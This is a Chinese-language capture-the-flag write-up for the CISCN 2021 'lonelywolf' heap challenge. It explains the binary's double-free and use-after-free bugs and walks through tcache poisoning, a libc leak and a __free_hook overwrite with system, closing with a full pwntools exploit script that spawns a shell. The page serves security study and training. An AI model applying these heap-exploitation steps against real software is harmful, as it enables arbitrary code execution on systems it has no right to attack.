NSSCTF[堆][tcache]

[CISCN 2021 初赛]lonelywolf

题目地址:[CISCN 2021 初赛]lonelywolf | NSSCTF
参照:https://nuoye-blog.github.io/2021/05/16/466a7375/

思路:

  1. 先看tcache结构,伪造一个0x91的chunk,为找0x91chunk的数量,再将其释放free进入unsortedbin来泄漏main_arena地址。

    image-20240712160527756

题目分析:

  1. 只能控制一个堆index只能位0,add函数,限制了不能申请大小为0x90的chunk:

    image-20240712174415106

  2. delete函数,heap指针没有清0,存在double free:

    image-20240712174547228

  3. edit函数,结合free函数,存在UAF漏洞,释放chunk后还能往里面写参数(可以修改next的值):

    image-20240712174638950

  4. show函数,同样存在UAF漏洞,可以打印释放后的chunk中的内容:

    image-20240712174751510

利用:

  1. 先申请一个大小为0x80的chunk,再double free泄漏tcache的基地址:

    # 泄漏tcache的基地址
    add(0x78)
    free()
    edit(p64(0)*2)	#绕过double free的检查
    free()
    show()
    
    p.recvuntil(b"Content: ")
    tcache = (u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000)
    success("tcache==>"+hex(tcache))
    

    image-20240712175402058

  2. 修改chunk0x80的next指针,指向tcache+0x10的位置,然后两个申请得到tcache chunk0x251:

    # 修改tcachebin的next指针,指向tcache的基地址+0x10
    payload = p64(tcache+0x10)
    edit(payload)
    
    add(0x78) 
    add(0x78)   #申请得到tcache
    

    image-20240712175720770

  3. 伪造0x90chunk的数量,伪造0x80chunk的next地址指向tcache+0x260(后续用来伪装成0x90chunk),伪造0x70的next地址指向tcache+0x250(0x80的上面)(后续用来更改0x80chunk的size字段值):

    payload = b"\x00"*0x5+b'\x01'+b'\x01'+b"\x08"+p64(0)*(7+4)+p64(tcache+0x250)*2+p64(tcache+0x260)
    edit(payload)
    

    image-20240712180651608

  4. 修改上面0x80chunk的size字段为0x91(伪造0x90大小的chunk),再申请一个小chunk将伪造的0x90chunk与topchunk隔开

    add(0x68)   #0x70 修改0x80chunk的size字段
    payload = p64(0)+p64(0x91)+p64(0)
    edit(payload)
    add(0x38)   #将伪造的0x90chunk与TOP隔开
    edit(b'\x00'*0x8+p64(0x31)) #由于前面申请的0x40chunk会在伪造的0x90chunk的数据域内部,所以在后面额外加上0x41的数据域大小
    

    不加 edit(b’\x00’*0x8+p64(0x31)):(必须是0x40+0x30或者0x30+0x20,不然会报错)

    image-20240712181413019

    加上 edit(b’\x00’*0x8+p64(0x31)):

    image-20240712181629240

  5. 申请0x80chunk(实际上申请的时0x90chunk),然后释放活得main_arena中的地址:

    add(0x78)   #表面上申请0x80chunk,实际上申请的时0x90chunk
    free()
    show()
    
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    

    image-20240712182011615

  6. 再申请0x40的chunk,释放后修改其next指针指向**__free_hook-0x8**地址(因为tcache在申请时不检查size字段,所以不用看__free_hook-0x8前面的size字段值):

    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    
    add(0x28)
    free()
    payload = p64(free_hook_addr-8)
    edit(payload)
    

    image-20240712182813509

  7. 两次申请后得到该地址,再向该地址写入 b"/bin/sh\x00"+p64(system_addr),最后free执行system(“/bi/sh”):

    add(0x28)
    add(0x28)
    payload = b'/bin/sh\x00'+p64(system_addr)
    edit(payload)
    free()
    
  8. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    
    context(os='linux', arch='amd64', log_level='debug')
    
    # p = remote("node4.anna.nssctf.cn",28516)
    p = process("./pwn")
    libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
    elf = ELF("./pwn")
    
    n2b = lambda x    : str(x).encode()
    rv  = lambda x    : p.recv(x)
    ru  = lambda s    : p.recvuntil(s)
    sd  = lambda s    : p.send(s)
    sl  = lambda s    : p.sendline(s)
    sn  = lambda s    : sl(n2b(n))
    sa  = lambda t, s : p.sendafter(t, s)
    sla = lambda t, s : p.sendlineafter(t, s)
    sna = lambda t, n : sla(t, n2b(n))
    ia  = lambda      : p.interactive()
    rop = lambda r    : flat([p64(x) for x in r])
    
    
    def add(size):
        sla(b'choice:',b'1')
        sla(b':',str(0))
        sla(b':',str(size))
    
    def edit(content):
        sla(b':',b'2')
        sla(b':',b'0')
        sla(b':',content)
    
    def show():
        p.sendlineafter(b':',b'3')
        p.sendlineafter(b':',b"0")
    
    def free():
        sla(b': ',b'4')
        sla(b': ',b'0')
    
    # 泄漏tcache的基地址
    add(0x78)
    free()
    edit(p64(0)*2)
    free()
    show()
    
    p.recvuntil(b"Content: ")
    tcache = (u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000)
    success("tcache==>"+hex(tcache))
    
    # 修改tcachebin的next指针,指向tcache的基地址+0x10
    payload = p64(tcache+0x10)
    edit(payload)
    
    add(0x78) 
    add(0x78)   #申请得到tcache
    
    payload = b"\x00"*0x5+b'\x01'+b'\x01'+b"\x08"+p64(0)*(7+4)+p64(tcache+0x250)*2+p64(tcache+0x260)
    edit(payload)
    
    add(0x68)   #0x70 修改0x80chunk的size字段
    payload = p64(0)+p64(0x91)+p64(0)
    edit(payload)
    
    add(0x38)   #将伪造的0x90chunk与TOP隔开
    edit(b'\x00'*0x8+p64(0x41))
    add(0x78)   #表面上申请0x80chunk,实际上申请的时0x90chunk
    
    free()
    show()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    
    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    
    add(0x38)
    free()
    payload = p64(free_hook_addr-8)
    edit(payload)
    
    add(0x38)
    add(0x38)
    payload = b'/bin/sh\x00'+p64(system_addr)
    edit(payload)
    
    free()
    p.sendline(b"cat flag")
    p.interactive()
    

    成功拿到本地flag:

    image-20240712183148198

相关推荐

  1. <span style='color:red;'>堆</span>

    2024-07-12 23:18:04      20 阅读
  2. 【笔记】Teach less, learn more

    2024-07-12 23:18:04       42 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-12 23:18:04       70 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-12 23:18:04       74 阅读
  3. 在Django里面运行非项目文件

    2024-07-12 23:18:04       62 阅读
  4. Python语言-面向对象

    2024-07-12 23:18:04       72 阅读

热门阅读

  1. 学习大数据DAY15 PLSQL基础语法4

    2024-07-12 23:18:04       17 阅读
  2. 发改委对招标投标领域问题答复汇总

    2024-07-12 23:18:04       23 阅读
  3. 使用JDBC实现事务管理与隔离级别设置

    2024-07-12 23:18:04       19 阅读
  4. SDK游戏盾、高防IP和高防CDN有什么区别

    2024-07-12 23:18:04       19 阅读
  5. docker compose down -v 是什么意思

    2024-07-12 23:18:04       22 阅读
  6. Perl文件锁机制:守护你的数据安全

    2024-07-12 23:18:04       20 阅读
  7. js面试题2024

    2024-07-12 23:18:04       19 阅读
  8. ArkTS学习笔记_自定义组件

    2024-07-12 23:18:04       24 阅读
  9. Oracle的wrap工具怎么用

    2024-07-12 23:18:04       23 阅读
  10. 昇思25天学习打卡营第18天 | LSTM+CRF序列标注

    2024-07-12 23:18:04       20 阅读
  11. Memcached介绍和详解

    2024-07-12 23:18:04       24 阅读
  12. 论文阅读:A Survey on Evaluation of Large Language Models

    2024-07-12 23:18:04       26 阅读